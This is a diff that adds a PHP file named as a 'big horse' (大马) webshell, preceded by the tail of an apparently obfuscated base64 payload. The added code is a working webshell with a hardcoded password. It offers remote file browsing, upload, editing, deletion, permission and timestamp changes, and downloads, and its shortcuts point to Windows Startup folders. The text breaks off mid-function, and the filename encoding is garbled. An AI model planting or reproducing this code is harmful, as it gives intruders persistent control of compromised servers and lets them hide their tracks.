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"))','a');?>
diff --git a/php/r00ts php澶ч┈.php b/php/r00ts php澶ч┈.php
new file mode 100644
index 0000000..5048a93
--- /dev/null
+++ b/php/r00ts php澶ч┈.php	
@@ -0,0 +1,2557 @@
+<?php
+$password = "admin!@#";//change password here
+error_reporting(E_ERROR);
+set_time_limit(0);
+$lanip = getenv('REMOTE_ADDR');
+
+function Root_GP(&$array)
+{
+	while(list($key,$var) = each($array))
+	{
+		if((strtoupper($key) != $key || ''.intval($key) == "$key") && $key != 'argc' && $key != 'argv')
+		{
+			if(is_string($var)) $array[$key] = stripslashes($var);
+			if(is_array($var)) $array[$key] = Root_GP($var);  
+		}
+	}
+	return $array;
+}
+
+function Root_CSS()
+{
+print<<<END
+<style type="text/css">
+	*{padding:0; margin:0;}
+	body{background:threedface;font-family:"Verdana", "Tahoma", sans-serif; font-size:13px;margin-top:3px;margin-bottom:3px;table-layout:fixed;word-break:break-all;}
+	a{color:#000000;text-decoration:none;}
+	a:hover{background:#33FF33;}
+	table{color:#000000;font-family:"Verdana", "Tahoma", sans-serif;font-size:13px;border:1px solid #999999;}
+	td{background:#F9F6F4;}
+        .bt{background:#3d3d3d;color:#ffffff;border:2px;font:13px Arial,Tahoma;height:22px;}
+	.toptd{background:threedface; width:310px; border-color:#FFFFFF #999999 #999999 #FFFFFF; border-style:solid;border-width:1px;}
+	.msgbox{background:#FFFFE0;color:#FF0000;height:25px;font-size:12px;border:1px solid #999999;text-align:center;padding:3px;clear:both;}
+	.actall{background:#F9F6F4;font-size:14px;border:1px solid #999999;padding:2px;margin-top:3px;margin-bottom:3px;clear:both;}
+</style>\n
+END;
+return false;
+}
+
+//file manager
+function File_Str($string)
+{
+	return str_replace('//','/',str_replace('\\','/',$string));
+}
+
+function File_Size($size)
+{
+	if($size > 1073741824) $size = round($size / 1073741824 * 100) / 100 . ' G';
+	elseif($size > 1048576) $size = round($size / 1048576 * 100) / 100 . ' M';
+	elseif($size > 1024) $size = round($size / 1024 * 100) / 100 . ' K';
+	else $size = $size . ' B';
+	return $size;
+}
+
+function File_Mode()
+{
+	$RealPath = realpath('./');
+	$SelfPath = $_SERVER['PHP_SELF'];
+	$SelfPath = substr($SelfPath, 0, strrpos($SelfPath,'/'));
+	return File_Str(substr($RealPath, 0, strlen($RealPath) - strlen($SelfPath)));
+}
+
+function File_Read($filename)
+{
+	$handle = @fopen($filename,"rb");
+	$filecode = @fread($handle,@filesize($filename));
+	@fclose($handle);
+	return $filecode;
+}
+
+function File_Write($filename,$filecode,$filemode)
+{
+	$handle = @fopen($filename,$filemode);
+	$key = @fwrite($handle,$filecode);
+	if(!$key)
+	{
+		@chmod($filename,0666);
+		$key = @fwrite($handle,$filecode);
+	}
+	@fclose($handle);
+	return $key;
+}
+
+function File_Up($filea,$fileb)
+{
+	$key = @copy($filea,$fileb) ? true : false;
+	if(!$key) $key = @move_uploaded_file($filea,$fileb) ? true : false;
+	return $key;
+}
+
+function File_Down($filename)
+{
+	if(!file_exists($filename)) return false;
+	$filedown = basename($filename);
+	$array = explode('.', $filedown);
+	$arrayend = array_pop($array);
+	header('Content-type: application/x-'.$arrayend);
+	header('Content-Disposition: attachment; filename='.$filedown);
+	header('Content-Length: '.filesize($filename));
+	@readfile($filename);
+	exit;
+} 
+
+function File_Deltree($deldir)
+{
+	if(($mydir = @opendir($deldir)) == NULL) return false;	
+	while(false !== ($file = @readdir($mydir)))
+	{
+		$name = File_Str($deldir.'/'.$file);
+		if((is_dir($name)) && ($file!='.') && ($file!='..')){@chmod($name,0777);rmdir($name);}
+		if(is_file($name)){@chmod($name,0777);@unlink($name);}
+	} 
+	@closedir($mydir);
+	@chmod($deldir,0777);
+	return @rmdir($deldir) ? true : false;
+}
+
+function File_Act($array,$actall,$inver)
+{
+	if(($count = count($array)) == 0) return 'select file plz';
+	$i = 0;
+	while($i < $count)
+	{
+		$array[$i] = urldecode($array[$i]);
+		switch($actall)
+		{
+			case "a" : $inver = urldecode($inver); if(!is_dir($inver)) return 'path error'; $filename = array_pop(explode('/',$array[$i])); @copy($array[$i],File_Str($inver.'/'.$filename)); $msg = 'copy'; break;
+			case "b" : if(!@unlink($array[$i])){@chmod($filename,0666);@unlink($array[$i]);} $msg = 'del'; break;
+			case "c" : if(!eregi("^[0-7]{4}$",$inver)) return 'wrong attr value'; $newmode = base_convert($inver,8,10); @chmod($array[$i],$newmode); $msg = 'change attr'; break;
+			case "d" : @touch($array[$i],strtotime($inver)); $msg = 'change time'; break;
+		}
+		$i++;
+	}
+	return 'select files '.$msg.' done';
+}
+
+function File_Edit($filepath,$filename,$dim = '')
+{
+	$THIS_DIR = urlencode($filepath);
+	$THIS_FILE = File_Str($filepath.'/'.$filename);
+	if(file_exists($THIS_FILE)){$FILE_TIME = @date('Y-m-d H:i:s',filemtime($THIS_FILE));$FILE_CODE = htmlspecialchars(File_Read($THIS_FILE));}
+	else {$FILE_TIME = @date('Y-m-d H:i:s',time());$FILE_CODE = '';}
+print<<<END
+<script language="javascript">
+var NS4 = (document.layers);
+var IE4 = (document.all);
+var win = this;
+var n = 0;
+function search(str){
+	var txt, i, found;
+	if(str == "")return false;
+	if(NS4){
+		if(!win.find(str)) while(win.find(str, false, true)) n++; else n++;
+		if(n == 0) alert(str + " ... Not-Find")
+	}
+	if(IE4){
+		txt = win.document.body.createTextRange();
+		for(i = 0; i <= n && (found = txt.findText(str)) != false; i++){
+			txt.moveStart("character", 1);
+			txt.moveEnd("textedit")
+		}
+		if(found){txt.moveStart("character", -1);txt.findText(str);txt.select();txt.scrollIntoView();n++}
+		else{if (n > 0){n = 0;search(str)}else alert(str + "... Not-Find")}
+	}
+	return false
+}
+function CheckDate(){
+	var re = document.getElementById('mtime').value;
+	var reg = /^(\\d{1,4})(-|\\/)(\\d{1,2})\\2(\\d{1,2}) (\\d{1,2}):(\\d{1,2}):(\\d{1,2})$/; 
+	var r = re.match(reg);
+	if(r==null){alert('wrong time!format:yyyy-mm-dd hh:mm:ss');return false;}
+	else{document.getElementById('editor').submit();}
+}
+</script>
+<div class="actall">search content: <input name="searchs" type="text" value="{$dim}" style="width:500px;">
+<input type='button' value="search" onclick="search(searchs.value)"></div>
+<form method="POST" id="editor" action="?s=a&p={$THIS_DIR}">
+<div class="actall"><input type="text" name="pfn" value="{$THIS_FILE}" style="width:750px;"></div>
+<div class="actall"><textarea name="pfc" style="width:750px;height:380px;">{$FILE_CODE}</textarea></div>
+<div class="actall">change file time <input type="text" name="mtime" id="mtime" value="{$FILE_TIME}" style="width:150px;"></div>
+<div class="actall"><input class="bt" type="button" value="save" onclick="CheckDate();">
+<input class="bt" type="button" value="back" onclick="window.location='?s=a&p={$THIS_DIR}';"></div>
+</form>
+END;
+}
+
+
+function File_a($p)
+{
+	$MSG_BOX = 'waiting for message queue......';
+        if(!$_SERVER['SERVER_NAME']) $GETURL = ''; else $GETURL = 'http://'.$_SERVER['SERVER_NAME'].'/';
+	$UP_DIR = urlencode(File_Str($p.'/..'));
+	$REAL_DIR = File_Str(realpath($p));
+	$FILE_DIR = File_Str(dirname(__FILE__));
+	$ROOT_DIR = File_Mode();
+	$THIS_DIR = urlencode(File_Str($p));
+	$UP_DIR = urlencode(File_Str(dirname($p)));
+	$NUM_D = 0;
+	$NUM_F = 0;
+	if(!empty($_POST['pfn'])){$intime = @strtotime($_POST['mtime']);$MSG_BOX = File_Write($_POST['pfn'],$_POST['pfc'],'wb') ? 'edit file '.$_POST['pfn'].' success' : 'edit file '.$_POST['pfn'].' faild';@touch($_POST['pfn'],$intime);}
+	if(!empty($_POST['ufs'])){if($_POST['ufn'] != '') $upfilename = $_POST['ufn']; else $upfilename = $_FILES['ufp']['name'];$MSG_BOX = File_Up($_FILES['ufp']['tmp_name'],File_Str($p.'/'.$upfilename)) ? 'upfile '.$upfilename.' success' : 'upfile '.$upfilename.' 失败';}
+	if(!empty($_POST['actall'])){$MSG_BOX = File_Act($_POST['files'],$_POST['actall'],$_POST['inver']);}
+	if(!empty($_GET['mn'])){$MSG_BOX = @rename(File_Str($p.'/'.$_GET['mn']),File_Str($p.'/'.$_GET['rn'])) ? 'rename '.$_GET['mn'].' to '.$_GET['rn'].' success' : 'rename '.$_GET['mn'].' to '.$_GET['rn'].' faild';}
+	if(!empty($_GET['dn'])){$MSG_BOX = @mkdir(File_Str($p.'/'.$_GET['dn']),0777) ? 'create folder '.$_GET['dn'].' success' : 'create folder '.$_GET['dn'].' faild';}
+	if(!empty($_GET['dd'])){$MSG_BOX = File_Deltree($_GET['dd']) ? 'del folder '.$_GET['dd'].' success' : 'del folder '.$_GET['dd'].' faild';}
+	if(!empty($_GET['df'])){if(!File_Down($_GET['df'])) $MSG_BOX = 'the download file does not exists';}
+	Root_CSS();
+print<<<END
+<script type="text/javascript">
+	function Inputok(msg,gourl)
+	{
+		smsg = "current file:[" + msg + "]";
+		re = prompt(smsg,unescape(msg));
+		if(re)
+		{
+			var url = gourl + escape(re);
+			window.location = url;
+		}
+	}
+	function Delok(msg,gourl)
+	{
+		smsg = "sure for del [" + unescape(msg) + "] ?";
+		if(confirm(smsg))
+		{
+			if(gourl == 'b'){document.getElementById('actall').value = escape(gourl);document.getElementById('fileall').submit();}
+			else window.location = gourl;
+		}
+	}
+	function CheckDate(msg,gourl)
+	{
+		smsg = "current file time:[" + msg + "]";
+		re = prompt(smsg,msg);
+		if(re)
+		{
+			var url = gourl + re;
+			var reg = /^(\\d{1,4})(-|\\/)(\\d{1,2})\\2(\\d{1,2}) (\\d{1,2}):(\\d{1,2}):(\\d{1,2})$/; 
+			var r = re.match(reg);
+			if(r==null){alert('time error!format:yyyy-mm-dd hh:mm:ss');return false;}
+			else{document.getElementById('actall').value = gourl; document.getElementById('inver').value = re; document.getElementById('fileall').submit();}
+		}
+	}
+	function CheckAll(form)
+	{
+		for(var i=0;i<form.elements.length;i++)
+		{
+			var e = form.elements[i];
+			if (e.name != 'chkall')
+			e.checked = form.chkall.checked;
+		}
+	}
+	function SubmitUrl(msg,txt,actid)
+	{
+		re = prompt(msg,unescape(txt));
+		if(re)
+		{
+			document.getElementById('actall').value = actid;
+			document.getElementById('inver').value = escape(re);
+			document.getElementById('fileall').submit();
+		}
+	}
+</script>
+	<div id="msgbox" class="msgbox">{$MSG_BOX}</div>
+	<div class="actall" style="text-align:center;padding:3px;">
+	<form method="GET"><input type="hidden" name="s" value="a">
+	<input type="text" name="p" value="{$p}" style="width:50%;height:22px;">
+	<select onchange="location.href='?s=a&p='+options[selectedIndex].value">
+	<option>---some folder---</option>
+	<option value="{$ROOT_DIR}"> site root folder </option>
+	<option value="{$FILE_DIR}"> current folder </option>
+	<option value="C:/Documents and Settings/All Users/「开始」菜单/程序/启动"> start item (cn) </option>
+	<option value="C:/Documents and Settings/All Users/Start Menu/Programs/Startup"> start item (en) </option>
+	<option value="C:/RECYCLER"> RECYCLER </option>
+	<option value="C:/Program Files"> Program Files </option>
+	</select> <input class="bt" type="submit" value="jump"></form>
+	<div style="margin-top:3px;"></div>
+	<form method="POST" action="?s=a&p={$THIS_DIR}" enctype="multipart/form-data">
+	<input class="bt" type="button" value="Create File" onclick="Inputok('newfile.php','?s=p&fp={$THIS_DIR}&fn=');">
+	<input class="bt" type="button" value="Create Folder" onclick="Inputok('newdir','?s=a&p={$THIS_DIR}&dn=');"> 
+	<input type="file" name="ufp" style="width:30%;height:22px;">
+	<input type="text" name="ufn" style="width:20%;height:22px;">
+	<input class="bt" type="submit" name="ufs" value="upfile">
+	</form>
+	</div>
+	<form method="POST" id="fileall" action="?s=a&p={$THIS_DIR}">
+	<table border="0"><tr>
+	<td class="toptd" style="width:810px;"> <a href="?s=a&p={$UP_DIR}"><b>parent directory</b></a> </td>
+	<td class="toptd" style="width:100px;"> opertion </td>
+	<td class="toptd" style="width:60px;"> attr </td>
+	<td class="toptd" style="width:200px;"> time </td>
+	<td class="toptd" style="width:100px;"> size </td></tr>
+END;
+	if(($h_d = @opendir($p)) == NULL) return false;
+	while(false !== ($Filename = @readdir($h_d)))
+	{
+		if($Filename == '.' or $Filename == '..') continue;
+		$Filepath = File_Str($p.'/'.$Filename);
+		if(is_dir($Filepath))
+		{
+			$Fileperm = substr(base_convert(@fileperms($Filepath),10,8),-4);
+			$Filetime = @date('Y-m-d H:i:s',@filemtime($Filepath));
+			$Filepath = urlencode($Filepath);
